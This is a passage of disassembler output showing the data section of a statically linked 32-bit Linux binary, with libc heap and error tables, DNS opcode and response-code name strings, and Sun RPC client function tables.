		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078AF4	dd 807896Ch		; DATA XREF: sub_8055F34+3r
					; sub_8055F34+48r ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078AFC	dd 0			; DATA XREF: strtok+10r strtok+28r ...
aUnknownErrorD	db 'Unknown error %d',0 ; DATA XREF: _strerror_internal+1Do
		align 4
errno		dd 0			; DATA XREF: setenv+D2w
					; sub_804E180+4Cw ...
word_8078B18	dw 0			; DATA XREF: start+2Fr
		align 4
dword_8078B1C	dd 8068EA4h		; DATA XREF: sub_805A11C+6w
					; sub_805A11C+5Ew ...
dword_8078B20	dd 8068EA4h		; DATA XREF: sub_805A11C+10w
dword_8078B24	dd 0			; DATA XREF: sub_805A11C+24w
					; sub_805A11C+81w ...
dword_8078B28	dd 0			; DATA XREF: sub_805A11C+1Aw
					; sub_805A11C+6Aw ...
dword_8078B2C	dd 0			; DATA XREF: sub_805A11C+2Ew
					; sub_805A11C+90w ...
dword_8078B30	dd 8065DE0h		; DATA XREF: sub_805BBF4+40r
					; sub_805BBF4+D1r ...
dword_8078B34	dd 0			; DATA XREF: sub_805BBF4+58o
					; sub_805BBF4+FAo ...
dword_8078B38	dd 8078B34h		; DATA XREF: sub_805BBF4+9r
					; sub_805BBF4+72r ...
dword_8078B3C	dd 8078B34h		; DATA XREF: malloc+39r malloc+177o ...
dword_8078B40	dd 8078B3Ch		; DATA XREF: malloc+171r malloc+1A7w ...
dword_8078B44	dd 8078B3Ch		; DATA XREF: malloc+4Br malloc+1A2w ...
		dd offset dword_8078B44
off_8078B4C	dd offset dword_8078B44	; DATA XREF: .data:08078B50o
					; .data:08078B54o
		dd offset off_8078B4C
off_8078B54	dd offset off_8078B4C	; DATA XREF: .data:08078B58o
					; .data:08078B5Co
		dd offset off_8078B54
off_8078B5C	dd offset off_8078B54	; DATA XREF: .data:08078B60o
					; .data:08078B64o
		dd offset off_8078B5C
off_8078B64	dd offset off_8078B5C	; DATA XREF: .data:08078B68o
					; .data:08078B6Co
		dd offset off_8078B64
off_8078B6C	dd offset off_8078B64	; DATA XREF: .data:08078B70o
					; .data:08078B74o
		dd offset off_8078B6C
off_8078B74	dd offset off_8078B6C	; DATA XREF: .data:08078B78o
					; .data:08078B7Co
		dd offset off_8078B74
off_8078B7C	dd offset off_8078B74	; DATA XREF: .data:08078B80o
					; .data:08078B84o
		dd offset off_8078B7C
off_8078B84	dd offset off_8078B7C	; DATA XREF: .data:08078B88o
					; .data:08078B8Co
		dd offset off_8078B84
off_8078B8C	dd offset off_8078B84	; DATA XREF: .data:08078B90o
					; .data:08078B94o
		dd offset off_8078B8C
off_8078B94	dd offset off_8078B8C	; DATA XREF: .data:08078B98o
					; .data:08078B9Co
		dd offset off_8078B94
off_8078B9C	dd offset off_8078B94	; DATA XREF: .data:08078BA0o
					; .data:08078BA4o
		dd offset off_8078B9C
off_8078BA4	dd offset off_8078B9C	; DATA XREF: .data:08078BA8o
					; .data:08078BACo
		dd offset off_8078BA4
off_8078BAC	dd offset off_8078BA4	; DATA XREF: .data:08078BB0o
					; .data:08078BB4o
		dd offset off_8078BAC
off_8078BB4	dd offset off_8078BAC	; DATA XREF: .data:08078BB8o
					; .data:08078BBCo
		dd offset off_8078BB4
off_8078BBC	dd offset off_8078BB4	; DATA XREF: .data:08078BC0o
					; .data:08078BC4o
		dd offset off_8078BBC
off_8078BC4	dd offset off_8078BBC	; DATA XREF: .data:08078BC8o
					; .data:08078BCCo
		dd offset off_8078BC4
off_8078BCC	dd offset off_8078BC4	; DATA XREF: .data:08078BD0o
					; .data:08078BD4o
		dd offset off_8078BCC
off_8078BD4	dd offset off_8078BCC	; DATA XREF: .data:08078BD8o
					; .data:08078BDCo
		dd offset off_8078BD4
off_8078BDC	dd offset off_8078BD4	; DATA XREF: .data:08078BE0o
					; .data:08078BE4o
		dd offset off_8078BDC
off_8078BE4	dd offset off_8078BDC	; DATA XREF: .data:08078BE8o
					; .data:08078BECo
		dd offset off_8078BE4
off_8078BEC	dd offset off_8078BE4	; DATA XREF: .data:08078BF0o
					; .data:08078BF4o
		dd offset off_8078BEC
off_8078BF4	dd offset off_8078BEC	; DATA XREF: .data:08078BF8o
					; .data:08078BFCo
		dd offset off_8078BF4
off_8078BFC	dd offset off_8078BF4	; DATA XREF: .data:08078C00o
					; .data:08078C04o
		dd offset off_8078BFC
off_8078C04	dd offset off_8078BFC	; DATA XREF: .data:08078C08o
					; .data:08078C0Co
		dd offset off_8078C04
off_8078C0C	dd offset off_8078C04	; DATA XREF: .data:08078C10o
					; .data:08078C14o
		dd offset off_8078C0C
off_8078C14	dd offset off_8078C0C	; DATA XREF: .data:08078C18o
					; .data:08078C1Co
		dd offset off_8078C14
off_8078C1C	dd offset off_8078C14	; DATA XREF: .data:08078C20o
					; .data:08078C24o
		dd offset off_8078C1C
off_8078C24	dd offset off_8078C1C	; DATA XREF: .data:08078C28o
					; .data:08078C2Co
		dd offset off_8078C24
off_8078C2C	dd offset off_8078C24	; DATA XREF: .data:08078C30o
					; .data:08078C34o
		dd offset off_8078C2C
off_8078C34	dd offset off_8078C2C	; DATA XREF: .data:08078C38o
					; .data:08078C3Co
		dd offset off_8078C34
off_8078C3C	dd offset off_8078C34	; DATA XREF: .data:08078C40o
					; .data:08078C44o
		dd offset off_8078C3C
off_8078C44	dd offset off_8078C3C	; DATA XREF: .data:08078C48o
					; .data:08078C4Co
		dd offset off_8078C44
off_8078C4C	dd offset off_8078C44	; DATA XREF: .data:08078C50o
					; .data:08078C54o
		dd offset off_8078C4C
off_8078C54	dd offset off_8078C4C	; DATA XREF: .data:08078C58o
					; .data:08078C5Co
		dd offset off_8078C54
off_8078C5C	dd offset off_8078C54	; DATA XREF: .data:08078C60o
					; .data:08078C64o
		dd offset off_8078C5C
off_8078C64	dd offset off_8078C5C	; DATA XREF: .data:08078C68o
					; .data:08078C6Co
		dd offset off_8078C64
off_8078C6C	dd offset off_8078C64	; DATA XREF: .data:08078C70o
					; .data:08078C74o
		dd offset off_8078C6C
off_8078C74	dd offset off_8078C6C	; DATA XREF: .data:08078C78o
					; .data:08078C7Co
		dd offset off_8078C74
off_8078C7C	dd offset off_8078C74	; DATA XREF: .data:08078C80o
					; .data:08078C84o
		dd offset off_8078C7C
off_8078C84	dd offset off_8078C7C	; DATA XREF: .data:08078C88o
					; .data:08078C8Co
		dd offset off_8078C84
off_8078C8C	dd offset off_8078C84	; DATA XREF: .data:08078C90o
					; .data:08078C94o
		dd offset off_8078C8C
off_8078C94	dd offset off_8078C8C	; DATA XREF: .data:08078C98o
					; .data:08078C9Co
		dd offset off_8078C94
off_8078C9C	dd offset off_8078C94	; DATA XREF: .data:08078CA0o
					; .data:08078CA4o
		dd offset off_8078C9C
off_8078CA4	dd offset off_8078C9C	; DATA XREF: .data:08078CA8o
					; .data:08078CACo
		dd offset off_8078CA4
off_8078CAC	dd offset off_8078CA4	; DATA XREF: .data:08078CB0o
					; .data:08078CB4o
		dd offset off_8078CAC
off_8078CB4	dd offset off_8078CAC	; DATA XREF: .data:08078CB8o
					; .data:08078CBCo
		dd offset off_8078CB4
off_8078CBC	dd offset off_8078CB4	; DATA XREF: .data:08078CC0o
					; .data:08078CC4o
		dd offset off_8078CBC
off_8078CC4	dd offset off_8078CBC	; DATA XREF: .data:08078CC8o
					; .data:08078CCCo
		dd offset off_8078CC4
off_8078CCC	dd offset off_8078CC4	; DATA XREF: .data:08078CD0o
					; .data:08078CD4o
		dd offset off_8078CCC
off_8078CD4	dd offset off_8078CCC	; DATA XREF: .data:08078CD8o
					; .data:08078CDCo
		dd offset off_8078CD4
off_8078CDC	dd offset off_8078CD4	; DATA XREF: .data:08078CE0o
					; .data:08078CE4o
		dd offset off_8078CDC
off_8078CE4	dd offset off_8078CDC	; DATA XREF: .data:08078CE8o
					; .data:08078CECo
		dd offset off_8078CE4
off_8078CEC	dd offset off_8078CE4	; DATA XREF: .data:08078CF0o
					; .data:08078CF4o
		dd offset off_8078CEC
off_8078CF4	dd offset off_8078CEC	; DATA XREF: .data:08078CF8o
					; .data:08078CFCo
		dd offset off_8078CF4
off_8078CFC	dd offset off_8078CF4	; DATA XREF: .data:08078D00o
					; .data:08078D04o
		dd offset off_8078CFC
off_8078D04	dd offset off_8078CFC	; DATA XREF: .data:08078D08o
					; .data:08078D0Co
		dd offset off_8078D04
off_8078D0C	dd offset off_8078D04	; DATA XREF: .data:08078D10o
					; .data:08078D14o
		dd offset off_8078D0C
off_8078D14	dd offset off_8078D0C	; DATA XREF: .data:08078D18o
					; .data:08078D1Co
		dd offset off_8078D14
off_8078D1C	dd offset off_8078D14	; DATA XREF: .data:08078D20o
					; .data:08078D24o
		dd offset off_8078D1C
off_8078D24	dd offset off_8078D1C	; DATA XREF: .data:08078D28o
					; .data:08078D2Co
		dd offset off_8078D24
off_8078D2C	dd offset off_8078D24	; DATA XREF: .data:08078D30o
					; .data:08078D34o
		dd offset off_8078D2C
off_8078D34	dd offset off_8078D2C	; DATA XREF: .data:08078D38o
					; .data:08078D3Co
		dd offset off_8078D34
off_8078D3C	dd offset off_8078D34	; DATA XREF: .data:08078D40o
					; .data:08078D44o
		dd offset off_8078D3C
off_8078D44	dd offset off_8078D3C	; DATA XREF: .data:08078D48o
					; .data:08078D4Co
		dd offset off_8078D44
off_8078D4C	dd offset off_8078D44	; DATA XREF: .data:08078D50o
					; .data:08078D54o
		dd offset off_8078D4C
off_8078D54	dd offset off_8078D4C	; DATA XREF: .data:08078D58o
					; .data:08078D5Co
		dd offset off_8078D54
off_8078D5C	dd offset off_8078D54	; DATA XREF: .data:08078D60o
					; .data:08078D64o
		dd offset off_8078D5C
off_8078D64	dd offset off_8078D5C	; DATA XREF: .data:08078D68o
					; .data:08078D6Co
		dd offset off_8078D64
off_8078D6C	dd offset off_8078D64	; DATA XREF: .data:08078D70o
					; .data:08078D74o
		dd offset off_8078D6C
off_8078D74	dd offset off_8078D6C	; DATA XREF: .data:08078D78o
					; .data:08078D7Co
		dd offset off_8078D74
off_8078D7C	dd offset off_8078D74	; DATA XREF: .data:08078D80o
					; .data:08078D84o
		dd offset off_8078D7C
off_8078D84	dd offset off_8078D7C	; DATA XREF: .data:08078D88o
					; .data:08078D8Co
		dd offset off_8078D84
off_8078D8C	dd offset off_8078D84	; DATA XREF: .data:08078D90o
					; .data:08078D94o
		dd offset off_8078D8C
off_8078D94	dd offset off_8078D8C	; DATA XREF: .data:08078D98o
					; .data:08078D9Co
		dd offset off_8078D94
off_8078D9C	dd offset off_8078D94	; DATA XREF: .data:08078DA0o
					; .data:08078DA4o
		dd offset off_8078D9C
off_8078DA4	dd offset off_8078D9C	; DATA XREF: .data:08078DA8o
					; .data:08078DACo
		dd offset off_8078DA4
off_8078DAC	dd offset off_8078DA4	; DATA XREF: .data:08078DB0o
					; .data:08078DB4o
		dd offset off_8078DAC
off_8078DB4	dd offset off_8078DAC	; DATA XREF: .data:08078DB8o
					; .data:08078DBCo
		dd offset off_8078DB4
off_8078DBC	dd offset off_8078DB4	; DATA XREF: .data:08078DC0o
					; .data:08078DC4o
		dd offset off_8078DBC
off_8078DC4	dd offset off_8078DBC	; DATA XREF: .data:08078DC8o
					; .data:08078DCCo
		dd offset off_8078DC4
off_8078DCC	dd offset off_8078DC4	; DATA XREF: .data:08078DD0o
					; .data:08078DD4o
		dd offset off_8078DCC
off_8078DD4	dd offset off_8078DCC	; DATA XREF: .data:08078DD8o
					; .data:08078DDCo
		dd offset off_8078DD4
off_8078DDC	dd offset off_8078DD4	; DATA XREF: .data:08078DE0o
					; .data:08078DE4o
		dd offset off_8078DDC
off_8078DE4	dd offset off_8078DDC	; DATA XREF: .data:08078DE8o
					; .data:08078DECo
		dd offset off_8078DE4
off_8078DEC	dd offset off_8078DE4	; DATA XREF: .data:08078DF0o
					; .data:08078DF4o
		dd offset off_8078DEC
off_8078DF4	dd offset off_8078DEC	; DATA XREF: .data:08078DF8o
					; .data:08078DFCo
		dd offset off_8078DF4
off_8078DFC	dd offset off_8078DF4	; DATA XREF: .data:08078E00o
					; .data:08078E04o
		dd offset off_8078DFC
off_8078E04	dd offset off_8078DFC	; DATA XREF: .data:08078E08o
					; .data:08078E0Co
		dd offset off_8078E04
off_8078E0C	dd offset off_8078E04	; DATA XREF: .data:08078E10o
					; .data:08078E14o
		dd offset off_8078E0C
off_8078E14	dd offset off_8078E0C	; DATA XREF: .data:08078E18o
					; .data:08078E1Co
		dd offset off_8078E14
off_8078E1C	dd offset off_8078E14	; DATA XREF: .data:08078E20o
					; .data:08078E24o
		dd offset off_8078E1C
off_8078E24	dd offset off_8078E1C	; DATA XREF: .data:08078E28o
					; .data:08078E2Co
		dd offset off_8078E24
off_8078E2C	dd offset off_8078E24	; DATA XREF: .data:08078E30o
					; .data:08078E34o
		dd offset off_8078E2C
off_8078E34	dd offset off_8078E2C	; DATA XREF: .data:08078E38o
					; .data:08078E3Co
		dd offset off_8078E34
off_8078E3C	dd offset off_8078E34	; DATA XREF: .data:08078E40o
					; .data:08078E44o
		dd offset off_8078E3C
off_8078E44	dd offset off_8078E3C	; DATA XREF: .data:08078E48o
					; .data:08078E4Co
		dd offset off_8078E44
off_8078E4C	dd offset off_8078E44	; DATA XREF: .data:08078E50o
					; .data:08078E54o
		dd offset off_8078E4C
off_8078E54	dd offset off_8078E4C	; DATA XREF: .data:08078E58o
					; .data:08078E5Co
		dd offset off_8078E54
off_8078E5C	dd offset off_8078E54	; DATA XREF: .data:08078E60o
					; .data:08078E64o
		dd offset off_8078E5C
off_8078E64	dd offset off_8078E5C	; DATA XREF: .data:08078E68o
					; .data:08078E6Co
		dd offset off_8078E64
off_8078E6C	dd offset off_8078E64	; DATA XREF: .data:08078E70o
					; .data:08078E74o
		dd offset off_8078E6C
off_8078E74	dd offset off_8078E6C	; DATA XREF: .data:08078E78o
					; .data:08078E7Co
		dd offset off_8078E74
off_8078E7C	dd offset off_8078E74	; DATA XREF: .data:08078E80o
					; .data:08078E84o
		dd offset off_8078E7C
off_8078E84	dd offset off_8078E7C	; DATA XREF: .data:08078E88o
					; .data:08078E8Co
		dd offset off_8078E84
off_8078E8C	dd offset off_8078E84	; DATA XREF: .data:08078E90o
					; .data:08078E94o
		dd offset off_8078E8C
off_8078E94	dd offset off_8078E8C	; DATA XREF: .data:08078E98o
					; .data:08078E9Co
		dd offset off_8078E94
off_8078E9C	dd offset off_8078E94	; DATA XREF: .data:08078EA0o
					; .data:08078EA4o
		dd offset off_8078E9C
off_8078EA4	dd offset off_8078E9C	; DATA XREF: .data:08078EA8o
					; .data:08078EACo
		dd offset off_8078EA4
off_8078EAC	dd offset off_8078EA4	; DATA XREF: .data:08078EB0o
					; .data:08078EB4o
		dd offset off_8078EAC
off_8078EB4	dd offset off_8078EAC	; DATA XREF: .data:08078EB8o
					; .data:08078EBCo
		dd offset off_8078EB4
off_8078EBC	dd offset off_8078EB4	; DATA XREF: .data:08078EC0o
					; .data:08078EC4o
		dd offset off_8078EBC
off_8078EC4	dd offset off_8078EBC	; DATA XREF: .data:08078EC8o
					; .data:08078ECCo
		dd offset off_8078EC4
off_8078ECC	dd offset off_8078EC4	; DATA XREF: .data:08078ED0o
					; .data:08078ED4o
		dd offset off_8078ECC
off_8078ED4	dd offset off_8078ECC	; DATA XREF: .data:08078ED8o
					; .data:08078EDCo
		dd offset off_8078ED4
off_8078EDC	dd offset off_8078ED4	; DATA XREF: .data:08078EE0o
					; .data:08078EE4o
		dd offset off_8078EDC
off_8078EE4	dd offset off_8078EDC	; DATA XREF: .data:08078EE8o
					; .data:08078EECo
		dd offset off_8078EE4
off_8078EEC	dd offset off_8078EE4	; DATA XREF: .data:08078EF0o
					; .data:08078EF4o
		dd offset off_8078EEC
off_8078EF4	dd offset off_8078EEC	; DATA XREF: .data:08078EF8o
					; .data:08078EFCo
		dd offset off_8078EF4
off_8078EFC	dd offset off_8078EF4	; DATA XREF: .data:08078F00o
					; .data:08078F04o
		dd offset off_8078EFC
off_8078F04	dd offset off_8078EFC	; DATA XREF: .data:08078F08o
					; .data:08078F0Co
		dd offset off_8078F04
off_8078F0C	dd offset off_8078F04	; DATA XREF: .data:08078F10o
					; .data:08078F14o
		dd offset off_8078F0C
off_8078F14	dd offset off_8078F0C	; DATA XREF: .data:08078F18o
					; .data:08078F1Co
		dd offset off_8078F14
off_8078F1C	dd offset off_8078F14	; DATA XREF: .data:08078F20o
					; .data:08078F24o
		dd offset off_8078F1C
off_8078F24	dd offset off_8078F1C	; DATA XREF: .data:08078F28o
					; .data:08078F2Co
		dd offset off_8078F24
off_8078F2C	dd offset off_8078F24	; DATA XREF: .data:08078F30o
					; .data:08078F34o
		dd offset off_8078F2C
off_8078F34	dd offset off_8078F2C	; DATA XREF: sub_805CA24+95o
					; sub_805CA24+132o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078F3C	dd 20000h		; DATA XREF: free+70r .text:0805CC66w
dword_8078F40	dd 0			; DATA XREF: sub_805BBF4+21r free+7Cr	...
dword_8078F44	dd 40h			; DATA XREF: sub_805BA88+17r
					; .text:0805CC98w
dword_8078F48	dd 20000h		; DATA XREF: malloc+43Dr
					; .text:0805CC88w
dword_8078F4C	dd 0FFFFFFFFh		; DATA XREF: sub_805BBF4+2Ar
					; sub_805BBF4+84r ...
dword_8078F50	dd 0			; DATA XREF: sub_805BBF4+150r
					; sub_805BBF4+158w
dword_8078F54	dd 0			; DATA XREF: sub_805BA88+91r
					; sub_805BA88+99w ...
dword_8078F58	dd 0			; DATA XREF: sub_805BA88+8Br
					; sub_805BB64+6Fr ...
dword_8078F5C	dd 0			; DATA XREF: sub_805CA24+13Ew
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078F64	dd 0			; DATA XREF: sub_805CA24+15Dw
dword_8078F68	dd 0			; DATA XREF: sub_805CA24+167w
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078F74	dd 0			; DATA XREF: sub_805CA24+14Cw
					; malloc_stats+38r
dword_8078F78	dd 0			; DATA XREF: sub_805CA24+152w
dword_8078F7C	dd 0			; DATA XREF: sub_805CA24+175w
dword_8078F80	dd 0			; DATA XREF: sub_805BA88+12r
					; sub_805BA88+44w ...
dword_8078F84	dd 0			; DATA XREF: sub_805BA88+50r
					; sub_805BA88+58w ...
dword_8078F88	dd 0			; DATA XREF: sub_805BA88+6Er
					; sub_805BA88+74w ...
dword_8078F8C	dd 0			; DATA XREF: sub_805BA88+79r
					; sub_805BA88+81w ...
		dd offset aYplib_cV2_6199 ; "yplib.c,v 2.6 1994/05/27 14:34:43 swen "...
dword_8078F94	dd 0FFFFFFFFh		; DATA XREF: sub_805CE84+21r
					; sub_805CE84+2Ar ...
dword_8078F98	dd 0			; DATA XREF: catopen+A0r catopen+BBr ...
dword_8078F9C	dd 0			; DATA XREF: init_services+198r
					; init_services+2A1r ...
dword_8078FA0	dd 8069BC0h		; DATA XREF: init_services+DBr
					; init_services+153r ...
dword_8078FA4	dd 806A5C2h		; DATA XREF: sub_804D458+16r
					; sub_8053310+10E1r ...
dword_8078FA8	dd 8069FC1h		; DATA XREF: __strtol_internal+E2r
					; __strtol_internal+FFr ...
dword_8078FAC	dd 80699BFh		; DATA XREF: sub_805F1DC+82r
		dd offset aIquery	; "IQUERY"
		dd offset aCquerym	; "CQUERYM"
		dd offset aCqueryu	; "CQUERYU"
		dd offset aNotify	; "NOTIFY"
		dd offset a5		; "5"
		dd offset a6		; "6"
		dd offset a7		; "7"
		dd offset a8		; "8"
		dd offset aUpdatea	; "UPDATEA"
		dd offset aUpdated	; "UPDATED"
		dd offset aUpdateda	; "UPDATEDA"
		dd offset aUpdatem	; "UPDATEM"
		dd offset aUpdatema	; "UPDATEMA"
		dd offset aZoneinit	; "ZONEINIT"
		dd offset aZoneref	; "ZONEREF"
dword_8078FEC	dd 8069A08h		; DATA XREF: sub_805F1DC+71r
		dd offset aFormerr	; "FORMERR"
		dd offset aServfail	; "SERVFAIL"
		dd offset aNxdomain	; "NXDOMAIN"
		dd offset aNotimp	; "NOTIMP"
		dd offset aRefused	; "REFUSED"
		dd offset a6		; "6"
		dd offset a7		; "7"
		dd offset a8		; "8"
		dd offset a9		; "9"
		dd offset a10		; "10"
		dd offset a11		; "11"
		dd offset a12		; "12"
		dd offset a13		; "13"
		dd offset a14		; "14"
		dd offset aNochange	; "NOCHANGE"
unk_807902C	db    0	;		; DATA XREF: _IO_fopen+28o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db  0Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db  11h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ch	; l
		db  10h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  23h	; #
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db  15h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db  1Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db  12h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  60h	; `
		db  0Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db  12h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db  6Bh	; k
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db  14h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db  15h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db  14h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db  14h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db  14h	;  
		db    6	;  
		db    8	;  
dword_80790BC	dd 806AABCh		; DATA XREF: sub_8062940+4Br
					; sub_8062940+CFr ...
		dd offset unk_806AABC
		dd offset unk_806AABC
		dd offset unk_806AABC
		dd offset unk_806AABC
		dd offset unk_806AABC
dword_80790D4	dd 806AABCh		; DATA XREF: sub_8062C9C+Cr
					; sub_8062C9C+12w ...
unk_80790D8	db    0	;		; DATA XREF: sub_80638B8+10o
					; sub_80638B8+17o
		db    0	;  
		db    0	;  
		db    0	;  
		db    9	;  
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Eh	; ^
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  45h	; E
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db 0ACh	; ╛
		db    6	;  
		db    8	;  
		db  0Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  11h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  73h	; s
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db 0ABh	; ╚
		db    6	;  
		db    8	;  
unk_8079168	db    0	;		; DATA XREF: sub_8063A74+10o
					; sub_8063A74+17o
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Dh	; =
		db 0ADh	; ґ
		db    6	;  
		db    8	;  
off_80791A8	dd offset sub_8063D20	; DATA XREF: clnttcp_create+1ECo
		dd offset sub_8063FAC
		dd offset sub_8063F60
		dd offset sub_8063F84
		dd offset sub_806402C
		dd offset sub_8063FB4
off_80791C0	dd offset sub_8064438	; DATA XREF: clntudp_bufcreate+D8o
		dd offset sub_80648D0
		dd offset sub_8064884
		dd offset sub_80648A8
		dd offset sub_8064978
		dd offset sub_80648D8
dword_80791D8	dd 5			; DATA XREF: pmap_getport+37r
dword_80791DC	dd 0			; DATA XREF: pmap_getport+30r
dword_80791E0	dd 3Ch			; DATA XREF: pmap_getport+73r
dword_80791E4	dd 0			; DATA XREF: pmap_getport+6Dr
unk_80791E8	db    0	;		; DATA XREF: xdr_replymsg+32o
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db  4Bh	; K
		db    6	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db  4Bh	; K
		db    6	;  
